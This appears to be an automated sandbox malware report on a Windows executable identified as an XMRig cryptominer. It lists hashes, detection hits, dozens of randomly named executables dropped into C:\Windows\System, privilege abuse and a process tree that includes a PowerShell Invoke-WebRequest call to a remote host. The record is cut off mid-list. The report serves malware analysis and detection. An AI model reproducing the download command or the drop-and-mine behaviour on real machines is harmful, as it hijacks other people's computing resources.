xmrig | 85e7b762a61f74cbc51f1f30270f0fa6190449c45e4bccebb9b62c786102d1fe

Analysis

max time kernel
148s
max time network
144s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
09/05/2024, 22:26

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
Size

1.6MB
MD5

102cd2b23f053d66db388c47708414d0
SHA1

fedd1d96efcbc504583226712a33f124c345f817
SHA256

85e7b762a61f74cbc51f1f30270f0fa6190449c45e4bccebb9b62c786102d1fe
SHA512

3208a76c08200749634f7a31614cabe4412547efa08e79f928e0421b78df2767968ed110a29ffb9709a54b8427265873b1951e1ca7831812f26368e8c7e1ef84
SSDEEP

24576:zv3/fTLF671TilQFG4P5PMkFfkeMlN675EgEPgspmBeQxWCUATSU4HEOh:Lz071uv4BPMkFfdg6NsIRh4HEOh

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 15 IoCs

miner

resource	yara_rule
behavioral1/memory/2808-34-0x000000013FF90000-0x0000000140382000-memory.dmp	xmrig
behavioral1/memory/2508-56-0x000000013F840000-0x000000013FC32000-memory.dmp	xmrig
behavioral1/memory/2608-82-0x000000013F7B0000-0x000000013FBA2000-memory.dmp	xmrig
behavioral1/memory/2536-304-0x000000013FA50000-0x000000013FE42000-memory.dmp	xmrig
behavioral1/memory/2268-104-0x000000013FE00000-0x00000001401F2000-memory.dmp	xmrig
behavioral1/memory/2488-103-0x000000013F400000-0x000000013F7F2000-memory.dmp	xmrig
behavioral1/memory/2268-102-0x0000000003770000-0x0000000003B62000-memory.dmp	xmrig
behavioral1/memory/1988-94-0x000000013F970000-0x000000013FD62000-memory.dmp	xmrig
behavioral1/memory/2916-71-0x000000013F3B0000-0x000000013F7A2000-memory.dmp	xmrig
behavioral1/memory/2268-70-0x000000013F2E0000-0x000000013F6D2000-memory.dmp	xmrig
behavioral1/memory/2480-1241-0x000000013F9A0000-0x000000013FD92000-memory.dmp	xmrig
behavioral1/memory/2460-1725-0x000000013FA90000-0x000000013FE82000-memory.dmp	xmrig
behavioral1/memory/2480-5455-0x000000013F9A0000-0x000000013FD92000-memory.dmp	xmrig
behavioral1/memory/2144-5743-0x000000013FEB0000-0x00000001402A2000-memory.dmp	xmrig
behavioral1/memory/1988-5745-0x000000013F970000-0x000000013FD62000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2216	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
2916	lmgEbDV.exe
2608	wnKBJqo.exe
2808	QIXEHsd.exe
2488	xfoDNQT.exe
2508	kfOjvgj.exe
2536	gEZjuSc.exe
2480	MFfJhcq.exe
2460	SuMCyvs.exe
2144	CTpJDje.exe
1988	OCfEDVC.exe
1528	iJYXteg.exe
1472	qCIYbBc.exe
1596	ufHaUgs.exe
1612	NumxoYX.exe
1572	ewwlTyl.exe
2564	PgLwlKf.exe
1284	rGlLnSp.exe
2044	RpNfHDp.exe
2864	JoFcbJS.exe
2224	yAkHVRn.exe
2772	roQjuHQ.exe
2124	bpKeELJ.exe
2560	fNEgRDJ.exe
704	TdVGrZp.exe
576	AeiUTjQ.exe
1576	gFNATgk.exe
1788	JpukgRv.exe
1792	nyIkwxo.exe
2288	VQdKugd.exe
352	jpcZwYM.exe
2108	NeJSfFh.exe
2824	fttJJyW.exe
1304	HROQsBE.exe
1604	uYLJhIp.exe
1296	EAQzGtq.exe
316	ZSfMbHP.exe
336	RlCBrPc.exe
800	FOPfArr.exe
928	hygNyTT.exe
736	ptXyZiv.exe
1952	Agdzqke.exe
612	YXdddiE.exe
1708	WPrdQVK.exe
1868	jnRsQQv.exe
1984	yjVfpCg.exe
2876	dQFaBaA.exe
2264	cEMWcDD.exe
3052	PPYHCxT.exe
892	pouVMsZ.exe
1668	pvWEmhk.exe
1536	knSteYm.exe
1540	mSyATBA.exe
2964	rrtZMob.exe
2680	gEKDwwk.exe
2612	gSbGZBv.exe
2720	AgzefCh.exe
1732	yCTrhWh.exe
2192	zOlMfDp.exe
2452	qKniigK.exe
2748	nDQCKWA.exe
2528	TrdLNQD.exe
1896	ecVZaGm.exe
1500	VOoxhCg.exe
2392	MptqpQn.exe

Loads dropped DLL 64 IoCs

pid	Process
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe

UPX packed file 53 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2268-2-0x000000013F2E0000-0x000000013F6D2000-memory.dmp	upx
behavioral1/files/0x000b00000001225d-3.dat	upx
behavioral1/memory/2916-9-0x000000013F3B0000-0x000000013F7A2000-memory.dmp	upx
behavioral1/files/0x0036000000015d42-10.dat	upx
behavioral1/files/0x0008000000015f54-22.dat	upx
behavioral1/memory/2608-19-0x000000013F7B0000-0x000000013FBA2000-memory.dmp	upx
behavioral1/memory/2808-34-0x000000013FF90000-0x0000000140382000-memory.dmp	upx
behavioral1/files/0x0008000000016133-42.dat	upx
behavioral1/files/0x000f000000003683-35.dat	upx
behavioral1/files/0x0036000000015d72-55.dat	upx
behavioral1/memory/2508-56-0x000000013F840000-0x000000013FC32000-memory.dmp	upx
behavioral1/memory/2536-59-0x000000013FA50000-0x000000013FE42000-memory.dmp	upx
behavioral1/files/0x0007000000016d3b-63.dat	upx
behavioral1/memory/2460-72-0x000000013FA90000-0x000000013FE82000-memory.dmp	upx
behavioral1/memory/2608-82-0x000000013F7B0000-0x000000013FBA2000-memory.dmp	upx
behavioral1/files/0x00090000000165d4-89.dat	upx
behavioral1/files/0x0006000000016d70-112.dat	upx
behavioral1/files/0x00060000000171ba-143.dat	upx
behavioral1/files/0x00060000000173b4-156.dat	upx
behavioral1/memory/2536-304-0x000000013FA50000-0x000000013FE42000-memory.dmp	upx
behavioral1/files/0x0005000000018711-201.dat	upx
behavioral1/files/0x000500000001870d-196.dat	upx
behavioral1/files/0x0005000000018701-191.dat	upx
behavioral1/files/0x00050000000186ff-186.dat	upx
behavioral1/files/0x00060000000175f4-182.dat	upx
behavioral1/files/0x00060000000175e8-177.dat	upx
behavioral1/files/0x0006000000017568-171.dat	upx
behavioral1/files/0x00060000000173d6-166.dat	upx
behavioral1/files/0x00060000000173d3-161.dat	upx
behavioral1/files/0x000600000001720f-152.dat	upx
behavioral1/files/0x0006000000016dd1-150.dat	upx
behavioral1/files/0x0006000000016dc8-136.dat	upx
behavioral1/files/0x0006000000016db2-132.dat	upx
behavioral1/files/0x0006000000016d78-121.dat	upx
behavioral1/files/0x0006000000016da0-126.dat	upx
behavioral1/files/0x0006000000016d44-108.dat	upx
behavioral1/memory/2488-103-0x000000013F400000-0x000000013F7F2000-memory.dmp	upx
behavioral1/files/0x0006000000016d68-101.dat	upx
behavioral1/files/0x0006000000016d6c-98.dat	upx
behavioral1/files/0x0006000000016d55-90.dat	upx
behavioral1/memory/2488-46-0x000000013F400000-0x000000013F7F2000-memory.dmp	upx
behavioral1/files/0x00070000000162cc-45.dat	upx
behavioral1/memory/1988-94-0x000000013F970000-0x000000013FD62000-memory.dmp	upx
behavioral1/memory/2144-86-0x000000013FEB0000-0x00000001402A2000-memory.dmp	upx
behavioral1/files/0x0006000000016d4c-81.dat	upx
behavioral1/memory/2916-71-0x000000013F3B0000-0x000000013F7A2000-memory.dmp	upx
behavioral1/memory/2268-70-0x000000013F2E0000-0x000000013F6D2000-memory.dmp	upx
behavioral1/memory/2480-68-0x000000013F9A0000-0x000000013FD92000-memory.dmp	upx
behavioral1/memory/2480-1241-0x000000013F9A0000-0x000000013FD92000-memory.dmp	upx
behavioral1/memory/2460-1725-0x000000013FA90000-0x000000013FE82000-memory.dmp	upx
behavioral1/memory/2480-5455-0x000000013F9A0000-0x000000013FD92000-memory.dmp	upx
behavioral1/memory/2144-5743-0x000000013FEB0000-0x00000001402A2000-memory.dmp	upx
behavioral1/memory/1988-5745-0x000000013F970000-0x000000013FD62000-memory.dmp	upx

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\RaxXgip.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\OoFGgwn.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\ynYREOA.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\AxfXlUu.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\MASDRyK.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\CpgfdUu.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\rJAopXH.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\FNXgjWA.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\trekUty.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\aBGdhsw.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\nFRFtmk.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\uZzlWuX.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\oehrbOv.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\zylNFxb.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\UatPdaJ.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\CeVmKnK.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\yKhUmEa.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\AicTEgN.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\BkSGmGi.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\OJdRikH.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\IPeJwzN.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\SIcvjhv.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\NdETstB.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\UouWFsz.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\zAyLblf.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\tCxGjac.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\FwqxDOJ.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\EXQqEDv.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\NFTpIUf.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\jGJVTlH.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\kIlUtZB.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\bfTrIDm.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\qqqsLnI.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\DPmxcvD.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\PEWftuD.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\vdYzRkd.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\tDiLjVm.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\rIEgbSr.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\tmZofRW.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\wAEmjkO.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\RqyQoVZ.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\LoyfjkL.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\NHZJmmT.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\HqOeJXj.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\OdBVXHj.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\TWyhtZQ.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\xiAWEXR.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\HwUSCoA.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\gsYJCRs.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\AjouBpV.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\ZzhEvaq.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\sMMdgqo.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\oAMVtjg.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\gXyvIXe.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\oGMQXgK.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\JlurYHn.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\CNDIXpQ.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\tbazmbv.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\yHuXlAO.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\uCPfeUa.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\BsKHFUp.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\SoYOJVb.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\pouVMsZ.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
File created	C:\Windows\System\pyCGDVI.exe	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2216	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
Token: SeLockMemoryPrivilege	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
Token: SeDebugPrivilege	2216	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2268 wrote to memory of 2216	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	29
PID 2268 wrote to memory of 2216	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	29
PID 2268 wrote to memory of 2216	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	29
PID 2268 wrote to memory of 2916	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	30
PID 2268 wrote to memory of 2916	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	30
PID 2268 wrote to memory of 2916	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	30
PID 2268 wrote to memory of 2608	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	31
PID 2268 wrote to memory of 2608	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	31
PID 2268 wrote to memory of 2608	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	31
PID 2268 wrote to memory of 2808	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	32
PID 2268 wrote to memory of 2808	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	32
PID 2268 wrote to memory of 2808	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	32
PID 2268 wrote to memory of 2488	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	33
PID 2268 wrote to memory of 2488	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	33
PID 2268 wrote to memory of 2488	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	33
PID 2268 wrote to memory of 2508	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	34
PID 2268 wrote to memory of 2508	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	34
PID 2268 wrote to memory of 2508	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	34
PID 2268 wrote to memory of 2460	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	35
PID 2268 wrote to memory of 2460	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	35
PID 2268 wrote to memory of 2460	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	35
PID 2268 wrote to memory of 2536	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	36
PID 2268 wrote to memory of 2536	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	36
PID 2268 wrote to memory of 2536	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	36
PID 2268 wrote to memory of 1988	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	37
PID 2268 wrote to memory of 1988	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	37
PID 2268 wrote to memory of 1988	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	37
PID 2268 wrote to memory of 2480	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	38
PID 2268 wrote to memory of 2480	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	38
PID 2268 wrote to memory of 2480	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	38
PID 2268 wrote to memory of 1472	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	39
PID 2268 wrote to memory of 1472	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	39
PID 2268 wrote to memory of 1472	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	39
PID 2268 wrote to memory of 2144	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	40
PID 2268 wrote to memory of 2144	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	40
PID 2268 wrote to memory of 2144	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	40
PID 2268 wrote to memory of 1612	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	41
PID 2268 wrote to memory of 1612	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	41
PID 2268 wrote to memory of 1612	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	41
PID 2268 wrote to memory of 1528	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	42
PID 2268 wrote to memory of 1528	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	42
PID 2268 wrote to memory of 1528	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	42
PID 2268 wrote to memory of 1572	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	43
PID 2268 wrote to memory of 1572	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	43
PID 2268 wrote to memory of 1572	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	43
PID 2268 wrote to memory of 1596	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	44
PID 2268 wrote to memory of 1596	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	44
PID 2268 wrote to memory of 1596	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	44
PID 2268 wrote to memory of 2564	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	45
PID 2268 wrote to memory of 2564	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	45
PID 2268 wrote to memory of 2564	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	45
PID 2268 wrote to memory of 1284	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	46
PID 2268 wrote to memory of 1284	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	46
PID 2268 wrote to memory of 1284	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	46
PID 2268 wrote to memory of 2044	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	47
PID 2268 wrote to memory of 2044	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	47
PID 2268 wrote to memory of 2044	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	47
PID 2268 wrote to memory of 2864	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	48
PID 2268 wrote to memory of 2864	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	48
PID 2268 wrote to memory of 2864	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	48
PID 2268 wrote to memory of 2772	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	49
PID 2268 wrote to memory of 2772	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	49
PID 2268 wrote to memory of 2772	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	49
PID 2268 wrote to memory of 2224	2268	102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe	50

C:\Users\Admin\AppData\Local\Temp\102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe
"C:\Users\Admin\AppData\Local\Temp\102cd2b23f053d66db388c47708414d0_NeikiAnalytics.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2268
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2216
- C:\Windows\System\lmgEbDV.exe
  C:\Windows\System\lmgEbDV.exe
  2⤵
  - Executes dropped EXE
  PID:2916
- C:\Windows\System\wnKBJqo.exe
  C:\Windows\System\wnKBJqo.exe
  2⤵
  - Executes dropped EXE
  PID:2608
- C:\Windows\System\QIXEHsd.exe
  C:\Windows\System\QIXEHsd.exe
  2⤵
  - Executes dropped EXE
  PID:2808
- C:\Windows\System\xfoDNQT.exe
  C:\Windows\System\xfoDNQT.exe
  2⤵
  - Executes dropped EXE
  PID:2488
- C:\Windows\System\kfOjvgj.exe
  C:\Windows\System\kfOjvgj.exe
  2⤵
  - Executes dropped EXE
  PID:2508
- C:\Windows\System\SuMCyvs.exe
  C:\Windows\System\SuMCyvs.exe
  2⤵
  - Executes dropped EXE
  PID:2460
- C:\Windows\System\gEZjuSc.exe
  C:\Windows\System\gEZjuSc.exe
  2⤵
  - Executes dropped EXE
  PID:2536
- C:\Windows\System\OCfEDVC.exe
  C:\Windows\System\OCfEDVC.exe
  2⤵
  - Executes dropped EXE
  PID:1988
- C:\Windows\System\MFfJhcq.exe
  C:\Windows\System\MFfJhcq.exe
  2⤵
  - Executes dropped EXE
  PID:2480
- C:\Windows\System\qCIYbBc.exe
  C:\Windows\System\qCIYbBc.exe
  2⤵
  - Executes dropped EXE
  PID:1472
- C:\Windows\System\CTpJDje.exe
  C:\Windows\System\CTpJDje.exe
  2⤵
  - Executes dropped EXE
  PID:2144
- C:\Windows\System\NumxoYX.exe
  C:\Windows\System\NumxoYX.exe
  2⤵
  - Executes dropped EXE
  PID:1612
- C:\Windows\System\iJYXteg.exe
  C:\Windows\System\iJYXteg.exe
  2⤵
  - Executes dropped EXE
  PID:1528
- C:\Windows\System\ewwlTyl.exe
  C:\Windows\System\ewwlTyl.exe
  2⤵
  - Executes dropped EXE
  PID:1572
- C:\Windows\System\ufHaUgs.exe
  C:\Windows\System\ufHaUgs.exe
  2⤵
  - Executes dropped EXE
  PID:1596
- C:\Windows\System\PgLwlKf.exe
  C:\Windows\System\PgLwlKf.exe
  2⤵
  - Executes dropped EXE
  PID:2564
- C:\Windows\System\rGlLnSp.exe
